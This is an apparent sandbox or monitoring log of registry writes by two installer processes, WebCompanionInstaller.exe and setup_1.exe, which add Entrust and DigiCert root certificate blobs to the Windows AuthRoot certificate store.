Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4\Blob = 0400000001000000100000004be2c99196650cf40e5a9392a00afeb20f0000000100000020000000fde5f2d9ce2026e1e10064c0a468c9f355b90acf85baf5ce6f52d4016837fd94090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000041000000303f3020060a6086480186fa6c0a010230123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002c000000302a060a2b0601040182370a030406082b0601050507030506082b0601050507030606082b0601050507030762000000010000002000000043df5774b03e7fef5fe40d931a7bedf1bb2e6b42738c4e6d3841103d3aa7f3390b000000010000001800000045006e00740072007500730074002e006e006500740000001400000001000000140000006a72267ad01eef7de73b6951d46c8d9f901266ab1d0000000100000010000000521b5f4582c1dcaae381b05e37ca2d347e000000010000000800000000c001b39667d6010300000001000000140000008cf427fd790c3ad166068de81e57efbb932272d4190000000100000010000000fa46ce7cbb85cfb4310075313a09ee052000000001000000420400003082043e30820326a00302010202044a538c28300d06092a864886f70d01010b05003081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d204732301e170d3039303730373137323535345a170d3330313230373137353535345a3081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100ba84b672db9e0c6be299e93001a776ea32b895411ac9da614e5872cffef68279bf7361060aa527d8b35fd3454e1c72d64e32f2728a0ff78319d06a808000451eb0c7e79abf1257271ca3682f0a87bd6a6b0e5e65f31c77d5d4858d7021b4b332e78ba2d5863902b1b8d247cee4c949c43ba7defb547d57bef0e86ec279b23a0b55e250981632135c2f7856c1c294b3f25ae4279a9f24d7c6ecd09b2582e3ccc2c445c58c977a066b2a119fa90a6e483b6fdbd4111942f78f07bff5535f9c3ef4172ce669ac4e324c6277eab7e8e5bb34bc198bae9c51e7b77eb553b13322e56dcf703c1afae29b67b683f48da5af624c4de058ac64341203f8b68d946324a4710203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604146a72267ad01eef7de73b6951d46c8d9f901266ab300d06092a864886f70d01010b05000382010100799f1d96c6b6793f228d87d3870304606a6b9a2e59897311ac43d1f513ff8d392bc0f2bd4f708ca92fea17c40b549ed41b9698333ca8ad62a20076ab59696e061d7ec4b9448d98af12d461db0a194647f3ebf763c1400540a5d2b7f4b59a36bfa98876880455042b9c877f1a373c7e2da51ad8d4895ecabdac3d6cd86dafd5f3760fcd3b8838229d6c939ac43dbf821b653fa60f5daafce5b215cab5adc6bc3dd084e8ea0672b04d393278bf3e119c0ba49d9a21f3f09b0b3078dbc1dc8743febc639acac5c21cc9c78dff3b125808e6b63dec7a2c4efb8396ce0c3c69875473a473c293ff5110ac155401d8fc05b189a17f74839a49d7dc4e7b8a486f8b45f6	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	setup_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E\Blob = 190000000100000010000000b009e99a5cfc928a173190106dbb32a90300000001000000140000007e04de896a3e666d00e687d33ffad93be83d349e1d0000000100000010000000d0ab39edd1a4d89a5512882deb09cb13140000000100000014000000b3db48a4f9a1c5d8ae3641cc1163696229bc4bc662000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d00b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f0074002000470033000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f000000010000003000000082c80199397722b57ad473ea266b93d47ffc77fe07f09388345f20dab6addd087672f988b4bbfd154c4b133c70c9ecff2000000001000000430200003082023f308201c5a0030201020210055556bcf25ea43535c3a40fd5ab4572300a06082a8648ce3d0403033061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204733301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f742047333076301006072a8648ce3d020106052b8104002203620004dda7d9bb8ab80bfb0b7f21d2f0bebe73f3335d1abc34eadec69bbcd095f6f0ccd00bba615b51467e9e2d9fee8e630c17ec0770f5cf842e40839ce83f416d3badd3a4145936789d0343ee10136c72deae88a7a16bb543ce67dc23ff031ca3e23ea3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414b3db48a4f9a1c5d8ae3641cc1163696229bc4bc6300a06082a8648ce3d0403030368003065023100adbcf26c3f124ad12d39c30a099773f488368c8827bbe6888d5085a763f99e32de66930ff1ccb1098fdd6cabfa6b7fa0023039665bc2648db89e50dca8d549a2edc7dcd1497f1701b8c8868f4e8c882ba89aa98ac5d100bdf854e29ae55b7cb32717	setup_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e404000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	setup_1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4\Blob = 0f0000000100000020000000fde5f2d9ce2026e1e10064c0a468c9f355b90acf85baf5ce6f52d4016837fd94090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000041000000303f3020060a6086480186fa6c0a010230123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002c000000302a060a2b0601040182370a030406082b0601050507030506082b0601050507030606082b0601050507030762000000010000002000000043df5774b03e7fef5fe40d931a7bedf1bb2e6b42738c4e6d3841103d3aa7f3390b000000010000001800000045006e00740072007500730074002e006e006500740000001400000001000000140000006a72267ad01eef7de73b6951d46c8d9f901266ab1d0000000100000010000000521b5f4582c1dcaae381b05e37ca2d347e000000010000000800000000c001b39667d6010300000001000000140000008cf427fd790c3ad166068de81e57efbb932272d42000000001000000420400003082043e30820326a00302010202044a538c28300d06092a864886f70d01010b05003081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d204732301e170d3039303730373137323535345a170d3330313230373137353535345a3081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100ba84b672db9e0c6be299e93001a776ea32b895411ac9da614e5872cffef68279bf7361060aa527d8b35fd3454e1c72d64e32f2728a0ff78319d06a808000451eb0c7e79abf1257271ca3682f0a87bd6a6b0e5e65f31c77d5d4858d7021b4b332e78ba2d5863902b1b8d247cee4c949c43ba7defb547d57bef0e86ec279b23a0b55e250981632135c2f7856c1c294b3f25ae4279a9f24d7c6ecd09b2582e3ccc2c445c58c977a066b2a119fa90a6e483b6fdbd4111942f78f07bff5535f9c3ef4172ce669ac4e324c6277eab7e8e5bb34bc198bae9c51e7b77eb553b13322e56dcf703c1afae29b67b683f48da5af624c4de058ac64341203f8b68d946324a4710203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604146a72267ad01eef7de73b6951d46c8d9f901266ab300d06092a864886f70d01010b05000382010100799f1d96c6b6793f228d87d3870304606a6b9a2e59897311ac43d1f513ff8d392bc0f2bd4f708ca92fea17c40b549ed41b9698333ca8ad62a20076ab59696e061d7ec4b9448d98af12d461db0a194647f3ebf763c1400540a5d2b7f4b59a36bfa98876880455042b9c877f1a373c7e2da51ad8d4895ecabdac3d6cd86dafd5f3760fcd3b8838229d6c939ac43dbf821b653fa60f5daafce5b215cab5adc6bc3dd084e8ea0672b04d393278bf3e119c0ba49d9a21f3f09b0b3078dbc1dc8743febc639acac5c21cc9c78dff3b125808e6b63dec7a2c4efb8396ce0c3c69875473a473c293ff5110ac155401d8fc05b189a17f74839a49d7dc4e7b8a486f8b45f6	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4\Blob = 190000000100000010000000fa46ce7cbb85cfb4310075313a09ee050300000001000000140000008cf427fd790c3ad166068de81e57efbb932272d47e000000010000000800000000c001b39667d6011d0000000100000010000000521b5f4582c1dcaae381b05e37ca2d341400000001000000140000006a72267ad01eef7de73b6951d46c8d9f901266ab0b000000010000001800000045006e00740072007500730074002e006e0065007400000062000000010000002000000043df5774b03e7fef5fe40d931a7bedf1bb2e6b42738c4e6d3841103d3aa7f3397f000000010000002c000000302a060a2b0601040182370a030406082b0601050507030506082b0601050507030606082b06010505070307530000000100000041000000303f3020060a6086480186fa6c0a010230123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f0000000100000020000000fde5f2d9ce2026e1e10064c0a468c9f355b90acf85baf5ce6f52d4016837fd942000000001000000420400003082043e30820326a00302010202044a538c28300d06092a864886f70d01010b05003081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d204732301e170d3039303730373137323535345a170d3330313230373137353535345a3081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100ba84b672db9e0c6be299e93001a776ea32b895411ac9da614e5872cffef68279bf7361060aa527d8b35fd3454e1c72d64e32f2728a0ff78319d06a808000451eb0c7e79abf1257271ca3682f0a87bd6a6b0e5e65f31c77d5d4858d7021b4b332e78ba2d5863902b1b8d247cee4c949c43ba7defb547d57bef0e86ec279b23a0b55e250981632135c2f7856c1c294b3f25ae4279a9f24d7c6ecd09b2582e3ccc2c445c58c977a066b2a119fa90a6e483b6fdbd4111942f78f07bff5535f9c3ef4172ce669ac4e324c6277eab7e8e5bb34bc198bae9c51e7b77eb553b13322e56dcf703c1afae29b67b683f48da5af624c4de058ac64341203f8b68d946324a4710203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604146a72267ad01eef7de73b6951d46c8d9f901266ab300d06092a864886f70d01010b05000382010100799f1d96c6b6793f228d87d3870304606a6b9a2e59897311ac43d1f513ff8d392bc0f2bd4f708ca92fea17c40b549ed41b9698333ca8ad62a20076ab59696e061d7ec4b9448d98af12d461db0a194647f3ebf763c1400540a5d2b7f4b59a36bfa98876880455042b9c877f1a373c7e2da51ad8d4895ecabdac3d6cd86dafd5f3760fcd3b8838229d6c939ac43dbf821b653fa60f5daafce5b215cab5adc6bc3dd084e8ea0672b04d393278bf3e119c0ba49d9a21f3f09b0b3078dbc1dc8743febc639acac5c21cc9c78dff3b125808e6b63dec7a2c4efb8396ce0c3c69875473a473c293ff5110ac155401d8fc05b189a17f74839a49d7dc4e7b8a486f8b45f6	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4\Blob = 5c000000010000000400000000080000190000000100000010000000fa46ce7cbb85cfb4310075313a09ee050300000001000000140000008cf427fd790c3ad166068de81e57efbb932272d47e000000010000000800000000c001b39667d6011d0000000100000010000000521b5f4582c1dcaae381b05e37ca2d341400000001000000140000006a72267ad01eef7de73b6951d46c8d9f901266ab0b000000010000001800000045006e00740072007500730074002e006e0065007400000062000000010000002000000043df5774b03e7fef5fe40d931a7bedf1bb2e6b42738c4e6d3841103d3aa7f3397f000000010000002c000000302a060a2b0601040182370a030406082b0601050507030506082b0601050507030606082b06010505070307530000000100000041000000303f3020060a6086480186fa6c0a010230123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f0000000100000020000000fde5f2d9ce2026e1e10064c0a468c9f355b90acf85baf5ce6f52d4016837fd940400000001000000100000004be2c99196650cf40e5a9392a00afeb22000000001000000420400003082043e30820326a00302010202044a538c28300d06092a864886f70d01010b05003081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d204732301e170d3039303730373137323535345a170d3330313230373137353535345a3081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100ba84b672db9e0c6be299e93001a776ea32b895411ac9da614e5872cffef68279bf7361060aa527d8b35fd3454e1c72d64e32f2728a0ff78319d06a808000451eb0c7e79abf1257271ca3682f0a87bd6a6b0e5e65f31c77d5d4858d7021b4b332e78ba2d5863902b1b8d247cee4c949c43ba7defb547d57bef0e86ec279b23a0b55e250981632135c2f7856c1c294b3f25ae4279a9f24d7c6ecd09b2582e3ccc2c445c58c977a066b2a119fa90a6e483b6fdbd4111942f78f07bff5535f9c3ef4172ce669ac4e324c6277eab7e8e5bb34bc198bae9c51e7b77eb553b13322e56dcf703c1afae29b67b683f48da5af624c4de058ac64341203f8b68d946324a4710203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604146a72267ad01eef7de73b6951d46c8d9f901266ab300d06092a864886f70d01010b05000382010100799f1d96c6b6793f228d87d3870304606a6b9a2e59897311ac43d1f513ff8d392bc0f2bd4f708ca92fea17c40b549ed41b9698333ca8ad62a20076ab59696e061d7ec4b9448d98af12d461db0a194647f3ebf763c1400540a5d2b7f4b59a36bfa98876880455042b9c877f1a373c7e2da51ad8d4895ecabdac3d6cd86dafd5f3760fcd3b8838229d6c939ac43dbf821b653fa60f5daafce5b215cab5adc6bc3dd084e8ea0672b04d393278bf3e119c0ba49d9a21f3f09b0b3078dbc1dc8743febc639acac5c21cc9c78dff3b125808e6b63dec7a2c4efb8396ce0c3c69875473a473c293ff5110ac155401d8fc05b189a17f74839a49d7dc4e7b8a486f8b45f6	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 0f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	setup_1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E	setup_1.exe
